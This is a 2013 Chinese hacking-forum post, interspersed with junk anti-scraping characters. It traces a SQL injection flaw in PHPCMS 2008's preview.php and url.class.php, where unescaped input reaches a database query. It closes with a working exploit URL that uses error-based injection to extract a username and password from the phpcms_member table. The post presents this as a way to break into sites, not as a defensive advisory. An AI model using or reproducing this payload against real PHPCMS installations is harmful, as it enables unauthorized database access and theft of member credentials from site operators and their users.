中国网络渗透测试联盟

标题: PHPCMS 2008 最新漏洞(第二季)附EXP [打印本页]

作者: admin    时间: 2013-4-19 19:17
标题: PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
' P! ~3 E* c' J) Y  v6 |! g0 `: _7 u$ C
   要转摘的兄弟们,你们还是带个版权吧!    ( D% L& _6 L! @/ ?* v1 O8 Z

; `# c) n* |9 |4 l4 t" E  组织 : http://www.safekeyer.com/   (欢迎访问)) _' O0 O  E2 x

# X9 ]5 l( r/ W$ a( Y" Q! Jauthor: 西毒    blog: http://hi.baidu.com/sethc58 w- c& ?0 E; j! U- |
% C7 J% {$ W& T5 ~& y; q! D( Y
     
- S  T& {9 C$ b5 h# ?9 I
8 ^* e& }: ~9 w3 ]  }3 e$ c. X其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.9 k, l1 e" _8 R; `8 `( w
' H% _  {+ @$ {% E) O- o
过程不明显的我就省略了。
9 u* F0 I+ Y( x6 R, M& \' Q  l9 R% J! ^" Q% O
在preview.php 中第7行4 [% D8 v1 ?" u+ t3 a9 S0 o) B

% R2 M, b8 G5 x- U0 K  O$r = new_stripslashes($info);
- l* ~% ]3 a* R* N3 B6 B
5 S) \- c1 e) b4 p" |我们跟踪new_stripslashes这个函数
# ?% Y$ \$ D& A, X9 E# S
- V# r6 K/ ^6 V1 v在global.func.php中可以找到
& V# k: C4 \8 ]/ o$ r& [
! c" Z3 @' c* u2 a: [; g1
8 h  L0 U% A' u% n. c' b2
  ?+ W2 \$ g' i7 e$ W3  Z5 L1 N4 y' n' ~4 Y1 v
49 ]' q2 V; x2 ^, d+ u2 V
5
: s# s4 i$ Q- K' ~3 X  M. K2 I6 function new_stripslashes($string)! D6 v" q* t% K" W* u0 G3 ^! C
{" g. P! V/ c1 h1 L$ d% p) W/ {
    if(!is_array($string)) return stripslashes($string);4 ]  ]* k, @# ]
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
8 x2 |! V6 H# T$ e/ D1 v! h& y  ^! C    return $string;2 k$ M: g) q, u" F
}
2 e7 \0 H8 {- V. \% Q
2 S+ b5 H5 G7 I: e% b% v这个函数的功能不用解释了吧
. L: i+ w- Z! S9 F. _4 S' Q( R8 u" E8 Y& y) s$ ~$ m$ |: r; {
所以我们看具体应用点再哪?$ Q' `& N* f" |0 A6 T9 P% b
: K7 a' }9 I$ `  A
1
8 {$ _+ H: j/ c2 J& k8 C2
+ D0 |! {+ H& i( U# W4 p( F+ E; ^3* y  C0 l7 z1 u- F
48 _8 [5 J9 M; `+ K% \/ N- R$ _
5
% }8 H: v  M  O/ `1 }' c. ]4 `9 L6
% Q# t9 e! v9 f* M. X7
0 N7 }+ B& ]7 z4 l8
: e" R. M# I6 F5 N- k- B. b9
, w7 o. s$ y' \$ h0 Y. K" m10* Y' Y# B2 k$ e" y) {* }
11
8 V4 j- A2 y8 j12' y+ A. z2 e+ ~# x' }7 k9 Y2 r; V7 z
13, I- }5 \) w% Q: p4 R, t
14
0 m4 N: ]# V9 K# t. `( I15. @: F: C9 d" ]& }/ b: U/ n
16- f+ a/ I/ a* {0 t8 l5 I+ R
17  [) b$ P9 y& \5 }  ~: \0 C
18
( A2 ^: m; G: X: P4 ?% P19- C4 [+ Z, ^4 g6 U/ e3 q9 E
200 M: c( J/ P. `
21" F4 p* U& e8 _! {  m
22' o% S! j) d' z+ u# n
23
: f1 X" s2 z  Y. J0 W24
( j% u4 y7 Q" n  P+ J254 W- o0 t; t& Z
26
9 B# F  O2 r: L; J" l  o: n, v27
! N/ X: n* `1 ~! U0 d0 a3 m4 f& z28. I3 n8 H/ J+ M+ L, ?
29! Z# t7 i/ Q2 G2 I
30
- r0 F$ `/ o; H0 {313 o. {5 j, A' X$ X# i
328 z% ~" X9 L! i' U' M! Z
337 b8 Y( l/ ]0 D# D. R! p
34
. d" ^3 n- `8 L6 p- I4 ~4 W9 {35 require dirname(__FILE__).'/include/common.inc.php';
7 a8 a4 t# L: o% d9 e9 x( Tif(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
' l9 Z2 l( r  |6 T0 T4 _require_once CACHE_MODEL_PATH.'content_output.class.php';% C; {. `; H* s  P* D
require_once 'output.class.php';+ \- ]1 R( e7 O$ z: S) J
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了) r: ^( O8 ]  N
$r = new_stripslashes($info);   //反转义了.....关键
- I/ V; ?6 q1 C7 B& x+ ]; Z$C = cache_read('category_'.$r['catid'].'.php');& [* [2 n( w1 x  U* q
$out = new content_output();5 i$ J( P$ x9 }; B/ w  B6 [
$r['userid'] = $_userid;9 \8 }2 u& Y& z" k  ?
$r['inputtime'] = TIME;
( w$ R5 j8 u  }% F& y& }$data = $out->get($r);2 @$ \3 w- i5 a  }+ _1 D! m- Z. r# A# L
extract($data);( N: P4 K6 ?& n' g
$userid = $_username;
& b. \' D. q! `3 z% ?2 gfor($i=1;$i<10;$i++)
) J: f& t5 S; ^1 d% G1 w$ W% h{
1 ]; o* n1 ^% j  P0 N    $str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
4 @5 s, K2 W0 x; \}
& e/ P, ]9 D) w" Y        
1 W2 a  I, w& o9 z$array_images = $str_attachmentArray;6 B$ Y, Y0 C% J" K
$images_number = 10;8 D0 q; z5 F' A: K( N, r0 D* M
$allow_priv = $allow_readpoint = 1;
- }. l! D# M) v1 p% F$updatetime = date('Y-m-d H:i:s',TIME);9 z7 c% B% N6 p
        
) ^% H$ Q6 \3 O+ j8 _# {# J$page = max(intval($page), 1);
& Z/ S+ J/ H4 f# E. I) q/ m% q$pages = $titles = '';2 O( k4 L3 q* e1 C  ?
if(strpos($content, '') !== false)  //这里必须还有这个这个字符.....才能操作哈
  h+ C4 y+ t; {{0 W. W5 u! L$ T  Z/ V& ?) W7 o: u
    require_once 'url.class.php';$ b+ ?" K7 Y0 q" H
    $curl = new url();7 U# J6 T! A" I- b. o3 t
    $contents = array_filter(explode('', $content));2 Y+ f& |2 T; S, L3 u3 g
    $pagenumber = count($contents);
/ A. N: Z; a9 @% e2 L    for($i=1; $i<=$pagenumber; $i++)
, s# M! }6 h7 X/ J3 C' W/ b( R    {7 B, H9 c' X" o" [4 D
        $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中0 p& x9 u& J* {6 T3 m1 V/ h/ K
    }
2 q5 F/ Y' x- x其中细节我就不说了...
) N+ W7 @& K; D/ h# P6 K' g+ Q+ ^) c% z) A$ V
我们看看这个$curl资源句柄中的show方法: y0 g( W$ C, e3 f( A! U6 u; d
8 j/ o. n' I% D- I; @
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
0 _8 W; S, V: i/ j( }: |0 E; t( g
& K2 |8 }4 t2 o5 }+ J5 V+ z) m1
& o. Y9 ^/ B! x: i' Q$ ?2
2 Z, T6 t. {* T/ o; s34 f% t$ V9 Y! a) \( _* v
4. m* Z9 w/ c# t6 y* ^, ], N$ {
5
  r) t1 @8 {8 C7 S/ P0 ^# G* A6
5 o; I3 B/ O% K" T% \, b$ s5 @& H: l; J74 r  ?! m, _# T4 ^
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')3 e( U# N: W- T9 [
    {/ B+ s$ d4 j* w5 z. S
        global $PHPCMS;
* r1 p" ^4 P$ t4 {        if($catid == 0 || $time == 0 || $prefix == '')- E3 a0 ?! B! e. W( N
        {; c# u2 _: S7 j+ j# e* }
            $r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");, F4 A# g' i6 \  q& y% e3 t* r
            if($r['isupgrade'] && !empty($r['url'])). ?% ?+ Z7 q# P/ Q9 W# m2 k& d6 X
            { ; ^3 d5 l1 q; }  {+ ]( X
5 _! o' l$ p/ F# r4 ^' m8 g
所以结合前面的......我们x站了吧, D, q/ w  K4 h! H; a7 c: S5 D+ f

( U9 q. i, f3 ?给出exp" C. k- ]# D. \
& y: u6 b6 V* f. [" a5 U: n" s5 k
www.xxxxx.com/preview.php?info[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a​
, C3 D* j* e& r2 _( V% [; I( p2 P
! ]8 y9 D1 S3 G$ O) o! b& ~$ d. @) q' \截图看一下3 u# e- C( P, z( \' }" O
: ^; \# E- F+ e  V% H9 P
最后真心说句,360收购漏洞计划,价格真心低.....
9 b8 K" a4 a' f9 y0 L; \" d) v# A! khttp://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2